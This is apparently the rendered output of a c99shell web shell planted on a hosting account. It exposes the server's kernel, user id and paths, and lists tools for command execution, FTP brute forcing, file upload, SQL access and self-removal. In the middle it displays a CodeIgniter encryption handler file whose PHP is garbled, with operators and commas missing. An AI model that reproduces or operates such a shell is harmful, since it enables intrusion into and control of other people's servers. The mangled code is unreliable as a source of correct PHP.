smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/system/Encryption/Handlers/   drwxr-xr-x
Free 3429.4 GB of 4265.01 GB (80.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     SodiumHandler.php (3.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of CodeIgniter 4 framework.
 *
 * (c) CodeIgniter Foundation <admin@codeigniter.com>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

namespace CodeIgniter\Encryption\Handlers;

use 
CodeIgniter\Encryption\Exceptions\EncryptionException;

/**
 * SodiumHandler uses libsodium in encryption.
 *
 * @see https://github.com/jedisct1/libsodium/issues/392
 */
class SodiumHandler extends BaseHandler
{
    
/**
     * Starter key
     *
     * @var string
     */
    
protected $key '';

    
/**
     * Block size for padding message.
     *
     * @var int
     */
    
protected $blockSize 16;

    
/**
     * {@inheritDoc}
     */
    
public function encrypt($data$params null)
    {
        
$this->parseParams($params);

        if (empty(
$this->key)) {
            throw 
EncryptionException::forNeedsStarterKey();
        }

        
// create a nonce for this operation
        
$nonce random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES); // 24 bytes

        // add padding before we encrypt the data
        
if ($this->blockSize <= 0) {
            throw 
EncryptionException::forEncryptionFailed();
        }

        
$data sodium_pad($data$this->blockSize);

        
// encrypt message and combine with nonce
        
$ciphertext $nonce sodium_crypto_secretbox($data$nonce$this->key);

        
// cleanup buffers
        
sodium_memzero($data);
        
sodium_memzero($this->key);

        return 
$ciphertext;
    }

    
/**
     * {@inheritDoc}
     */
    
public function decrypt($data$params null)
    {
        
$this->parseParams($params);

        if (empty(
$this->key)) {
            throw 
EncryptionException::forNeedsStarterKey();
        }

        if (
mb_strlen($data'8bit') < (SODIUM_CRYPTO_SECRETBOX_NONCEBYTES SODIUM_CRYPTO_SECRETBOX_MACBYTES)) {
            
// message was truncated
            
throw EncryptionException::forAuthenticationFailed();
        }

        
// Extract info from encrypted data
        
$nonce      self::substr($data0SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
        
$ciphertext self::substr($dataSODIUM_CRYPTO_SECRETBOX_NONCEBYTES);

        
// decrypt data
        
$data sodium_crypto_secretbox_open($ciphertext$nonce$this->key);

        if (
$data === false) {
            
// message was tampered in transit
            
throw EncryptionException::forAuthenticationFailed(); // @codeCoverageIgnore
        
}

        
// remove extra padding during encryption
        
if ($this->blockSize <= 0) {
            throw 
EncryptionException::forAuthenticationFailed();
        }

        
$data sodium_unpad($data$this->blockSize);

        
// cleanup buffers
        
sodium_memzero($ciphertext);
        
sodium_memzero($this->key);

        return 
$data;
    }

    
/**
     * Parse the $params before doing assignment.
     *
     * @param array|string|null $params
     *
     * @throws EncryptionException If key is empty
     */
    
protected function parseParams($params)
    {
        if (
$params === null) {
            return;
        }

        if (
is_array($params)) {
            if (isset(
$params['key'])) {
                
$this->key $params['key'];
            }

            if (isset(
$params['blockSize'])) {
                
$this->blockSize $params['blockSize'];
            }

            return;
        }

        
$this->key = (string) $params;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0064 ]--